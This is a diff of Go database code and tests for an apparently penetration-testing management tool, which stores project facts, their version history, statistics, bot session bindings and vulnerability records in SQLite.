||||
return s
|
||||
}
|
||||
|
||||
func parseDBTime(s string) time.Time {
|
||||
s = strings.TrimSpace(s)
|
||||
if s == "" {
|
||||
return time.Time{}
|
||||
}
|
||||
// go-sqlite3 读 DATETIME 常返回 RFC3339(含 T),写入时可能是空格分隔格式,需兼容多种形态
|
||||
layouts := []string{
|
||||
time.RFC3339Nano,
|
||||
time.RFC3339,
|
||||
"2006-01-02 15:04:05.999999999-07:00",
|
||||
"2006-01-02 15:04:05-07:00",
|
||||
"2006-01-02T15:04:05.999999999-07:00",
|
||||
"2006-01-02T15:04:05-07:00",
|
||||
"2006-01-02 15:04:05.999999999",
|
||||
"2006-01-02 15:04:05",
|
||||
"2006-01-02T15:04:05.999999999",
|
||||
"2006-01-02T15:04:05",
|
||||
}
|
||||
for _, layout := range layouts {
|
||||
if t, e := time.Parse(layout, s); e == nil {
|
||||
return t
|
||||
}
|
||||
}
|
||||
return time.Time{}
|
||||
}
|
||||
@@ -0,0 +1,196 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func TestUpsertProjectFact_preservesBodyOnEmptyUpdate(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
proj, err := db.CreateProject(&Project{Name: "test-facts"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
const body = "## 攻击链\n1. step\n```http\nGET / HTTP/1.1\n```\n"
|
||||
_, err = db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: "finding/sqli-login",
|
||||
Category: "finding",
|
||||
Summary: "SQLi on /login",
|
||||
Body: body,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
updated, err := db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: "finding/sqli-login",
|
||||
Summary: "SQLi on /login (confirmed)",
|
||||
Body: "",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if updated.Summary != "SQLi on /login (confirmed)" {
|
||||
t.Fatalf("summary=%q", updated.Summary)
|
||||
}
|
||||
if updated.Body != body {
|
||||
t.Fatalf("returned body=%q want preserved attack chain", updated.Body)
|
||||
}
|
||||
|
||||
fromDB, err := db.GetProjectFactByKey(proj.ID, "finding/sqli-login")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if fromDB.Body != body {
|
||||
t.Fatalf("stored body=%q want preserved", fromDB.Body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertProjectFact_replacesBodyWhenProvided(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
proj, err := db.CreateProject(&Project{Name: "test-facts"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
_, err = db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: "target/primary",
|
||||
Summary: "v1",
|
||||
Body: "old body",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
const newBody = "new body with evidence"
|
||||
updated, err := db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: "target/primary",
|
||||
Summary: "v2",
|
||||
Body: newBody,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if updated.Body != newBody {
|
||||
t.Fatalf("body=%q want %q", updated.Body, newBody)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRestoreProjectFact(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
proj, err := db.CreateProject(&Project{Name: "restore-test"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
key := "target/restore-me"
|
||||
_, err = db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: key,
|
||||
Summary: "s",
|
||||
Confidence: "confirmed",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.DeprecateProjectFact(proj.ID, key); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.RestoreProjectFact(proj.ID, key, "confirmed"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, err := db.GetProjectFactByKey(proj.ID, key)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if f.Confidence != "confirmed" {
|
||||
t.Fatalf("confidence=%q want confirmed", f.Confidence)
|
||||
}
|
||||
if err := db.RestoreProjectFact(proj.ID, key, ""); err == nil {
|
||||
t.Fatal("expected error when not deprecated")
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertProjectFact_createsVersionOnContentChange(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
proj, err := db.CreateProject(&Project{Name: "version-test"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
created, err := db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: "finding/xss",
|
||||
Category: "finding",
|
||||
Summary: "v1",
|
||||
Body: "body v1",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if created.SupersedesFactID != "" {
|
||||
t.Fatalf("expected no supersedes on create, got %q", created.SupersedesFactID)
|
||||
}
|
||||
|
||||
updated, err := db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: "finding/xss",
|
||||
Summary: "v2",
|
||||
Body: "body v2",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if updated.SupersedesFactID == "" {
|
||||
t.Fatal("expected supersedes_fact_id after content change")
|
||||
}
|
||||
prev, err := db.GetProjectFactVersion(updated.SupersedesFactID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if prev.Summary != "v1" || prev.Body != "body v1" {
|
||||
t.Fatalf("previous version mismatch: summary=%q body=%q", prev.Summary, prev.Body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeFactBodyOnUpdate(t *testing.T) {
|
||||
if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
|
||||
t.Fatalf("empty incoming: got %q", got)
|
||||
}
|
||||
if got := mergeFactBodyOnUpdate(" ", "keep"); got != "keep" {
|
||||
t.Fatalf("whitespace incoming: got %q", got)
|
||||
}
|
||||
if got := mergeFactBodyOnUpdate("new", "old"); got != "new" {
|
||||
t.Fatalf("non-empty incoming: got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// ProjectFactVersion 事实历史快照(同 fact_key 更新前归档)。
|
||||
type ProjectFactVersion struct {
|
||||
ID string `json:"id"`
|
||||
FactID string `json:"fact_id"`
|
||||
ProjectID string `json:"project_id"`
|
||||
FactKey string `json:"fact_key"`
|
||||
Category string `json:"category"`
|
||||
Summary string `json:"summary"`
|
||||
Body string `json:"body"`
|
||||
Confidence string `json:"confidence"`
|
||||
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
||||
SourceMessageID string `json:"source_message_id,omitempty"`
|
||||
Pinned bool `json:"pinned"`
|
||||
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
|
||||
ArchivedAt time.Time `json:"archived_at"`
|
||||
}
|
||||
|
||||
// InsertProjectFactVersion 将当前事实行快照写入版本表。
|
||||
func (db *DB) InsertProjectFactVersion(f *ProjectFact) (string, error) {
|
||||
if f == nil || f.ID == "" {
|
||||
return "", fmt.Errorf("无效的事实记录")
|
||||
}
|
||||
id := uuid.New().String()
|
||||
now := time.Now()
|
||||
_, err := db.Exec(
|
||||
`INSERT INTO project_fact_versions (
|
||||
id, fact_id, project_id, fact_key, category, summary, body, confidence,
|
||||
source_conversation_id, source_message_id, pinned, related_vulnerability_id, archived_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
id, f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
|
||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||
nullIfEmpty(f.RelatedVulnerabilityID), now,
|
||||
)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("归档事实版本失败: %w", err)
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// GetProjectFactVersion 按版本 ID 获取快照。
|
||||
func (db *DB) GetProjectFactVersion(versionID string) (*ProjectFactVersion, error) {
|
||||
row := db.QueryRow(
|
||||
`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(related_vulnerability_id,''), archived_at
|
||||
FROM project_fact_versions WHERE id = ?`, versionID,
|
||||
)
|
||||
return scanProjectFactVersionRow(row)
|
||||
}
|
||||
|
||||
// ListProjectFactVersions 列出某条事实的全部历史版本(新→旧)。
|
||||
func (db *DB) ListProjectFactVersions(factID string, limit int) ([]*ProjectFactVersion, error) {
|
||||
if limit <= 0 {
|
||||
limit = 20
|
||||
}
|
||||
rows, err := db.Query(
|
||||
`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(related_vulnerability_id,''), archived_at
|
||||
FROM project_fact_versions WHERE fact_id = ? ORDER BY archived_at DESC LIMIT ?`,
|
||||
factID, limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*ProjectFactVersion
|
||||
for rows.Next() {
|
||||
v, err := scanProjectFactVersionFromRows(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, v)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func projectFactContentChanged(existing, incoming *ProjectFact) bool {
|
||||
if existing == nil || incoming == nil {
|
||||
return false
|
||||
}
|
||||
mergedBody := mergeFactBodyOnUpdate(incoming.Body, existing.Body)
|
||||
inCat := stringsTrimDefault(incoming.Category, existing.Category)
|
||||
inConf := stringsTrimDefault(incoming.Confidence, existing.Confidence)
|
||||
return existing.Summary != incoming.Summary ||
|
||||
existing.Body != mergedBody ||
|
||||
existing.Category != inCat ||
|
||||
existing.Confidence != inConf
|
||||
}
|
||||
|
||||
func stringsTrimDefault(s, fallback string) string {
|
||||
if strings.TrimSpace(s) == "" {
|
||||
return fallback
|
||||
}
|
||||
return strings.TrimSpace(s)
|
||||
}
|
||||
|
||||
func scanProjectFactVersionRow(row *sql.Row) (*ProjectFactVersion, error) {
|
||||
var v ProjectFactVersion
|
||||
var pinned int
|
||||
var archivedAt string
|
||||
err := row.Scan(
|
||||
&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
|
||||
&v.SourceConversationID, &v.SourceMessageID, &pinned,
|
||||
&v.RelatedVulnerabilityID, &archivedAt,
|
||||
)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("事实版本不存在")
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
v.Pinned = pinned != 0
|
||||
v.ArchivedAt = parseDBTime(archivedAt)
|
||||
return &v, nil
|
||||
}
|
||||
|
||||
func scanProjectFactVersionFromRows(rows *sql.Rows) (*ProjectFactVersion, error) {
|
||||
var v ProjectFactVersion
|
||||
var pinned int
|
||||
var archivedAt string
|
||||
err := rows.Scan(
|
||||
&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
|
||||
&v.SourceConversationID, &v.SourceMessageID, &pinned,
|
||||
&v.RelatedVulnerabilityID, &archivedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
v.Pinned = pinned != 0
|
||||
v.ArchivedAt = parseDBTime(archivedAt)
|
||||
return &v, nil
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ProjectStats 项目聚合统计。
|
||||
type ProjectStats struct {
|
||||
FactCount int `json:"fact_count"`
|
||||
VulnCount int `json:"vuln_count"`
|
||||
ConversationCount int `json:"conversation_count"`
|
||||
SparseFactCount int `json:"sparse_fact_count"`
|
||||
}
|
||||
|
||||
// GetProjectStatsCounts 统计项目下事实、漏洞、对话数量(不含 sparse,由 project 包补全)。
|
||||
func (db *DB) GetProjectStatsCounts(projectID string) (*ProjectStats, error) {
|
||||
projectID = strings.TrimSpace(projectID)
|
||||
if projectID == "" {
|
||||
return nil, fmt.Errorf("project_id 不能为空")
|
||||
}
|
||||
if _, err := db.GetProject(projectID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stats := &ProjectStats{}
|
||||
if err := db.QueryRow(
|
||||
`SELECT COUNT(*) FROM project_facts WHERE project_id = ? AND confidence != 'deprecated'`,
|
||||
projectID,
|
||||
).Scan(&stats.FactCount); err != nil {
|
||||
return nil, fmt.Errorf("统计事实失败: %w", err)
|
||||
}
|
||||
if err := db.QueryRow(
|
||||
`SELECT COUNT(*) FROM vulnerabilities WHERE project_id = ?`,
|
||||
projectID,
|
||||
).Scan(&stats.VulnCount); err != nil {
|
||||
return nil, fmt.Errorf("统计漏洞失败: %w", err)
|
||||
}
|
||||
if err := db.QueryRow(
|
||||
`SELECT COUNT(*) FROM conversations WHERE project_id = ?`,
|
||||
projectID,
|
||||
).Scan(&stats.ConversationCount); err != nil {
|
||||
return nil, fmt.Errorf("统计对话失败: %w", err)
|
||||
}
|
||||
return stats, nil
|
||||
}
|
||||
|
||||
// ListProjectFactsForSparseCheck 返回用于待补全检测的事实字段(非 deprecated)。
|
||||
func (db *DB) ListProjectFactsForSparseCheck(projectID string) ([]struct {
|
||||
Category string
|
||||
FactKey string
|
||||
Body string
|
||||
}, error) {
|
||||
rows, err := db.Query(
|
||||
`SELECT category, fact_key, COALESCE(body,'') FROM project_facts WHERE project_id = ? AND confidence != 'deprecated'`,
|
||||
projectID,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []struct {
|
||||
Category string
|
||||
FactKey string
|
||||
Body string
|
||||
}
|
||||
for rows.Next() {
|
||||
var row struct {
|
||||
Category string
|
||||
FactKey string
|
||||
Body string
|
||||
}
|
||||
if err := rows.Scan(&row.Category, &row.FactKey, &row.Body); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, row)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ListConversationsByProjectID 列出绑定到项目的对话。
|
||||
func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int) ([]*Conversation, error) {
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
rows, err := db.Query(
|
||||
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id
|
||||
FROM conversations WHERE project_id = ? ORDER BY updated_at DESC LIMIT ? OFFSET ?`,
|
||||
projectID, limit, offset,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询项目对话失败: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var conversations []*Conversation
|
||||
for rows.Next() {
|
||||
var conv Conversation
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
var pid sql.NullString
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if pid.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(pid.String)
|
||||
}
|
||||
conv.CreatedAt = parseDBTime(createdAt)
|
||||
conv.UpdatedAt = parseDBTime(updatedAt)
|
||||
conv.Pinned = pinned != 0
|
||||
conversations = append(conversations, &conv)
|
||||
}
|
||||
return conversations, rows.Err()
|
||||
}
|
||||
|
||||
// CountConversationsByProjectID 统计项目绑定对话数。
|
||||
func (db *DB) CountConversationsByProjectID(projectID string) (int, error) {
|
||||
var n int
|
||||
err := db.QueryRow(`SELECT COUNT(*) FROM conversations WHERE project_id = ?`, projectID).Scan(&n)
|
||||
return n, err
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func TestParseDBTime_projectFactFormats(t *testing.T) {
|
||||
cases := []string{
|
||||
"2026-05-26 11:13:07.442143+08:00",
|
||||
"2026-05-26 11:13:07",
|
||||
"2026-05-26T11:13:07.442143+08:00",
|
||||
}
|
||||
for _, s := range cases {
|
||||
got := parseDBTime(s)
|
||||
if got.IsZero() {
|
||||
t.Fatalf("parseDBTime(%q) returned zero", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestListProjectFacts_updatedAtJSON(t *testing.T) {
|
||||
root, err := os.Getwd()
|
||||
if err != nil {
|
||||
t.Skip(err)
|
||||
}
|
||||
dbPath := filepath.Join(root, "..", "..", "data", "conversations.db")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
t.Skip("conversations.db not found")
|
||||
}
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
projects, err := db.ListProjects("", 1, 0)
|
||||
if err != nil || len(projects) == 0 {
|
||||
t.Skip("no projects")
|
||||
}
|
||||
pid := projects[0].ID
|
||||
|
||||
list, err := db.ListProjectFacts(pid, ProjectFactListFilter{}, 5, 0)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(list) == 0 {
|
||||
t.Skip("no facts")
|
||||
}
|
||||
for _, f := range list {
|
||||
if f.UpdatedAt.IsZero() {
|
||||
t.Fatalf("fact %s UpdatedAt is zero after ListProjectFacts", f.FactKey)
|
||||
}
|
||||
b, err := json.Marshal(f)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var m map[string]interface{}
|
||||
if err := json.Unmarshal(b, &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, ok := m["updated_at"].(string)
|
||||
if !ok || raw == "" || raw[:4] == "0001" {
|
||||
t.Fatalf("bad updated_at in JSON: %v", m["updated_at"])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseDBTime_zeroOnGarbage(t *testing.T) {
|
||||
if !parseDBTime("").IsZero() {
|
||||
t.Fatal("expected zero for empty")
|
||||
}
|
||||
}
|
||||
|
||||
// Ensure RFC3339 round-trip used by API is after year 2000.
|
||||
func TestParseDBTime_marshalRoundTrip(t *testing.T) {
|
||||
s := "2026-05-26 11:13:07.442143+08:00"
|
||||
tm := parseDBTime(s)
|
||||
b, err := json.Marshal(tm)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var back time.Time
|
||||
if err := json.Unmarshal(b, &back); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if back.IsZero() {
|
||||
t.Fatalf("unmarshal zero from %s", string(b))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RobotSessionBinding 机器人会话绑定信息。
|
||||
type RobotSessionBinding struct {
|
||||
SessionKey string
|
||||
ConversationID string
|
||||
RoleName string
|
||||
UpdatedAt time.Time
|
||||
}
|
||||
|
||||
// GetRobotSessionBinding 按 session_key 获取机器人会话绑定。
|
||||
func (db *DB) GetRobotSessionBinding(sessionKey string) (*RobotSessionBinding, error) {
|
||||
sessionKey = strings.TrimSpace(sessionKey)
|
||||
if sessionKey == "" {
|
||||
return nil, nil
|
||||
}
|
||||
var b RobotSessionBinding
|
||||
var updatedAt string
|
||||
err := db.QueryRow(
|
||||
"SELECT session_key, conversation_id, role_name, updated_at FROM robot_user_sessions WHERE session_key = ?",
|
||||
sessionKey,
|
||||
).Scan(&b.SessionKey, &b.ConversationID, &b.RoleName, &updatedAt)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return nil, fmt.Errorf("查询机器人会话绑定失败: %w", err)
|
||||
}
|
||||
if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt); e == nil {
|
||||
b.UpdatedAt = t
|
||||
} else if t, e := time.Parse("2006-01-02 15:04:05", updatedAt); e == nil {
|
||||
b.UpdatedAt = t
|
||||
} else {
|
||||
b.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||
}
|
||||
if strings.TrimSpace(b.RoleName) == "" {
|
||||
b.RoleName = "默认"
|
||||
}
|
||||
return &b, nil
|
||||
}
|
||||
|
||||
// UpsertRobotSessionBinding 写入或更新机器人会话绑定(包含角色)。
|
||||
func (db *DB) UpsertRobotSessionBinding(sessionKey, conversationID, roleName string) error {
|
||||
sessionKey = strings.TrimSpace(sessionKey)
|
||||
conversationID = strings.TrimSpace(conversationID)
|
||||
roleName = strings.TrimSpace(roleName)
|
||||
if sessionKey == "" || conversationID == "" {
|
||||
return nil
|
||||
}
|
||||
if roleName == "" {
|
||||
roleName = "默认"
|
||||
}
|
||||
_, err := db.Exec(`
|
||||
INSERT INTO robot_user_sessions (session_key, conversation_id, role_name, updated_at)
|
||||
VALUES (?, ?, ?, ?)
|
||||
ON CONFLICT(session_key) DO UPDATE SET
|
||||
conversation_id = excluded.conversation_id,
|
||||
role_name = excluded.role_name,
|
||||
updated_at = excluded.updated_at
|
||||
`, sessionKey, conversationID, roleName, time.Now())
|
||||
if err != nil {
|
||||
return fmt.Errorf("写入机器人会话绑定失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteRobotSessionBinding 删除机器人会话绑定。
|
||||
func (db *DB) DeleteRobotSessionBinding(sessionKey string) error {
|
||||
sessionKey = strings.TrimSpace(sessionKey)
|
||||
if sessionKey == "" {
|
||||
return nil
|
||||
}
|
||||
if _, err := db.Exec("DELETE FROM robot_user_sessions WHERE session_key = ?", sessionKey); err != nil {
|
||||
return fmt.Errorf("删除机器人会话绑定失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -3,16 +3,94 @@ package database
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// VulnerabilityListFilter 列表/统计/导出共用的筛选条件
|
||||
type VulnerabilityListFilter struct {
|
||||
ID string
|
||||
Search string // 关键词模糊匹配(标题、描述、类型、目标等)
|
||||
ConversationID string
|
||||
ProjectID string
|
||||
Severity string
|
||||
Status string
|
||||
TaskID string
|
||||
ConversationTag string
|
||||
TaskTag string
|
||||
}
|
||||
|
||||
func escapeVulnerabilityLikePattern(s string) string {
|
||||
s = strings.ReplaceAll(s, `\`, `\\`)
|
||||
s = strings.ReplaceAll(s, `%`, `\%`)
|
||||
s = strings.ReplaceAll(s, `_`, `\_`)
|
||||
return "%" + s + "%"
|
||||
}
|
||||
|
||||
func (f VulnerabilityListFilter) appendWhere(query string, args []interface{}) (string, []interface{}) {
|
||||
if f.ID != "" {
|
||||
query += " AND id = ?"
|
||||
args = append(args, f.ID)
|
||||
}
|
||||
if f.ConversationID != "" {
|
||||
query += " AND conversation_id = ?"
|
||||
args = append(args, f.ConversationID)
|
||||
}
|
||||
if f.ProjectID != "" {
|
||||
query += " AND project_id = ?"
|
||||
args = append(args, f.ProjectID)
|
||||
}
|
||||
if f.TaskID != "" {
|
||||
query += " AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id AND (bt.id = ? OR bt.queue_id = ?))"
|
||||
args = append(args, f.TaskID, f.TaskID)
|
||||
}
|
||||
if f.ConversationTag != "" {
|
||||
query += " AND conversation_tag = ?"
|
||||
args = append(args, f.ConversationTag)
|
||||
}
|
||||
if f.TaskTag != "" {
|
||||
query += " AND task_tag = ?"
|
||||
args = append(args, f.TaskTag)
|
||||
}
|
||||
if f.Severity != "" {
|
||||
query += " AND severity = ?"
|
||||
args = append(args, f.Severity)
|
||||
}
|
||||
if f.Status != "" {
|
||||
query += " AND status = ?"
|
||||
args = append(args, f.Status)
|
||||
}
|
||||
search := strings.TrimSpace(f.Search)
|
||||
if search != "" {
|
||||
pattern := escapeVulnerabilityLikePattern(search)
|
||||
query += ` AND (
|
||||
LOWER(id) LIKE LOWER(?) OR
|
||||
LOWER(title) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(description, '')) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(vulnerability_type, '')) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(target, '')) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(proof, '')) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(impact, '')) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(recommendation, '')) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(conversation_id, '')) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(conversation_tag, '')) LIKE LOWER(?) OR
|
||||
LOWER(COALESCE(task_tag, '')) LIKE LOWER(?)
|
||||
)`
|
||||
for i := 0; i < 11; i++ {
|
||||
args = append(args, pattern)
|
||||
}
|
||||
}
|
||||
return query, args
|
||||
}
|
||||
|
||||
// Vulnerability 漏洞
|
||||
type Vulnerability struct {
|
||||
ID string `json:"id"`
|
||||
ConversationID string `json:"conversation_id"`
|
||||
ProjectID string `json:"project_id,omitempty"`
|
||||
ConversationTag string `json:"conversation_tag,omitempty"`
|
||||
TaskTag string `json:"task_tag,omitempty"`
|
||||
TaskID string `json:"task_id,omitempty"`
|
||||
@@ -44,17 +122,23 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
||||
}
|
||||
vuln.UpdatedAt = now
|
||||
|
||||
if strings.TrimSpace(vuln.ProjectID) == "" && vuln.ConversationID != "" {
|
||||
if pid, err := db.GetConversationProjectID(vuln.ConversationID); err == nil {
|
||||
vuln.ProjectID = pid
|
||||
}
|
||||
}
|
||||
|
||||
query := `
|
||||
INSERT INTO vulnerabilities (
|
||||
id, conversation_id, conversation_tag, task_tag, title, description, severity, status,
|
||||
id, conversation_id, project_id, conversation_tag, task_tag, title, description, severity, status,
|
||||
vulnerability_type, target, proof, impact, recommendation,
|
||||
created_at, updated_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
|
||||
_, err := db.Exec(
|
||||
query,
|
||||
vuln.ID, vuln.ConversationID, vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||
vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
||||
vuln.Proof, vuln.Impact, vuln.Recommendation,
|
||||
vuln.CreatedAt, vuln.UpdatedAt,
|
||||
@@ -70,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
||||
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
var vuln Vulnerability
|
||||
query := `
|
||||
SELECT id, conversation_id, title, description, severity, status,
|
||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
|
||||
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
|
||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||
@@ -80,7 +164,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
`
|
||||
|
||||
err := db.QueryRow(query, id).Scan(
|
||||
&vuln.ID, &vuln.ConversationID, &vuln.Title, &vuln.Description,
|
||||
